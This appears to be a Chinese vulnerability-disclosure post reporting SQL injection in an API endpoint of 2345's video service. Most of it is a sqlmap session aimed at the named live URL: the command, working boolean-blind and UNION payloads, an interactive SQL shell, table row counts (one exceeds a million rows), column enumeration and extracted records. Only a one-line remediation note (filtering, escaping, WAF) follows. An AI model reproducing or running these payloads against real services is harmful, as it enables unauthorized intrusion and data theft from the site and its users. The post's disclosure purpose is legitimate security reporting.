神器而已之2345网址导航SQL注入影响大量数据

朋友手腕摔伤了，医生刚给捆上厚厚的绷带，朋友媳妇就一脸紧张的看着医生“大夫啊，这…这不影响他洗碗吧？”

 

$ python sqlmap.py -u "https://api.v.2345.com/html/mversion/checkIsEnable.php?id=159817*&media=dy&device=android&callback=jsonp12" --sql-shell
         _
 ___ ___| |_____ ___ ___  {1.0.3.9#dev}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:37:24

custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q] y
[12:37:25] [INFO] resuming back-end DBMS 'mysql' 
[12:37:25] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: https://api.v.2345.com:80/html/mversion/checkIsEnable.php?id=159817 AND 1244=1244&media=dy&device=android&callback=jsonp12

    Type: UNION query
    Title: Generic UNION query (NULL) - 1 column
    Payload: https://api.v.2345.com:80/html/mversion/checkIsEnable.php?id=-4895 UNION ALL SELECT CONCAT(0x717a706271,0x7776744d485467756652707a71447046614c507a6c6176614855734f4377654669477177624c7655,0x71766a7871)-- -&media=dy&device=android&callback=jsonp12
---
[12:37:25] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5
[12:37:25] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from nc_members
[12:37:36] [INFO] fetching SQL SELECT statement query output: 'select count(*) from nc_members'
[12:37:36] [WARNING] reflective value(s) found and filtering out
select count(*) from nc_members:    '1'
sql-shell> select count(*) from dy_pay_index
[12:39:09] [INFO] fetching SQL SELECT statement query output: 'select count(*) from dy_pay_index'
[12:39:09] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
select count(*) from dy_pay_index:    '184'
sql-shell> select count(*) from mversion_app_payorder_log
[12:39:37] [INFO] fetching SQL SELECT statement query output: 'select count(*) from mversion_app_payorder_log'
[12:39:37] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
select count(*) from mversion_app_payorder_log:    '128'
sql-shell> select count(*) from shortvideo_data
[12:40:01] [INFO] fetching SQL SELECT statement query output: 'select count(*) from shortvideo_data '
[12:40:01] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
select count(*) from shortvideo_data :    '1146294'
sql-shell> select * from shortvideo_data limit 5
[12:40:16] [INFO] fetching SQL SELECT statement query output: 'select * from shortvideo_data limit 5'
[12:40:16] [INFO] you did not provide the fields in your query. sqlmap will retrieve the column names itself
[12:40:16] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) columns
[12:40:16] [INFO] fetching current database
[12:40:16] [INFO] fetching columns for table 'shortvideo_data' in database 'dianying_2345'
[12:40:16] [INFO] the SQL query used returns 20 entries
[12:40:16] [INFO] resumed: "id","int(11)"
[12:40:16] [INFO] resumed: "title","varchar(200)"
[12:40:16] [INFO] resumed: "category","varchar(30)"
[12:40:16] [INFO] resumed: "subcat","varchar(100)"
[12:40:16] [INFO] resumed: "image","varchar(200)"
[12:40:16] [INFO] resumed: "duration","time"
[12:40:16] [INFO] resumed: "link","varchar(512)"
[12:40:16] [INFO] resumed: "publish","datetime"
[12:40:16] [INFO] resumed: "tag","varchar(100)"
[12:40:16] [INFO] resumed: "introduction","varchar(500)"
[12:40:16] [INFO] resumed: "count","int(5)"
[12:40:16] [INFO] resumed: "source","varchar(20)"
[12:40:16] [INFO] resumed: "ctimer","int(5)"
[12:40:16] [INFO] resumed: "catch_time","datetime"
[12:40:16] [INFO] resumed: "update_time","datetime"
[12:40:16] [INFO] resumed: "state","enum('N','Y','D')"
[12:40:16] [INFO] resumed: "prank","int(5)"
[12:40:16] [INFO] resumed: "singer","varchar(100)"
[12:40:16] [INFO] resumed: "category_2345_id","int(5)"
[12:40:16] [INFO] resumed: "linkM","varchar(512)"
[12:40:16] [INFO] the query with expanded column name(s) is: SELECT `count`, catch_time, category, category_2345_id, ctimer, duration, id, image, introduction, link, linkM, prank, publish, singer, source, state, subcat, tag, title, update_time FROM shortvideo_data LIMIT 5
                                                                                                                                                                                                         
[12:40:39] [INFO] the SQL query provided has more than one field. sqlmap will now unpack it into distinct queries to be able to retrieve the output even if we are going blind
[12:40:39] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[12:40:39] [INFO] retrieved: 
[12:40:39] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
15
[12:40:41] [INFO] retrieved: 2016-03-25 18:15:03
[12:40:50] [INFO] retrieved: \xd3\xe9\xc0\xd6
[12:40:53] [INFO] retrieved: 0
[12:40:54] [INFO] retrieved: 0
[12:40:55] [INFO] retrieved: 00:00:51
[12:40:58] [INFO] retrieved: 1
[12:40:59] [INFO] retrieved: https://vi1.ku6img.com/data2/p2/cms/2016/3/25/pic_1458883886058.jpg
[12:41:23] [INFO] retrieved: \xcd\xf4\xb7\xe5^Z

 

 

sql-shell> select count(*) from shortvideo_data
[12:40:01] [INFO] fetching SQL SELECT statement query output: 'select count(*) from shortvideo_data '
[12:40:01] [CRITICAL] unable to connect to the target URL or proxy. sqlmap is going to retry the request(s)
select count(*) from shortvideo_data :    '1146294'


表太多了，我不一一跑数据了，就看了一个表，应该是视频之类的数据，100多万。

解决方案：

过滤转义加waf，尤其是api，一旦出现注入都是影响成吨数据。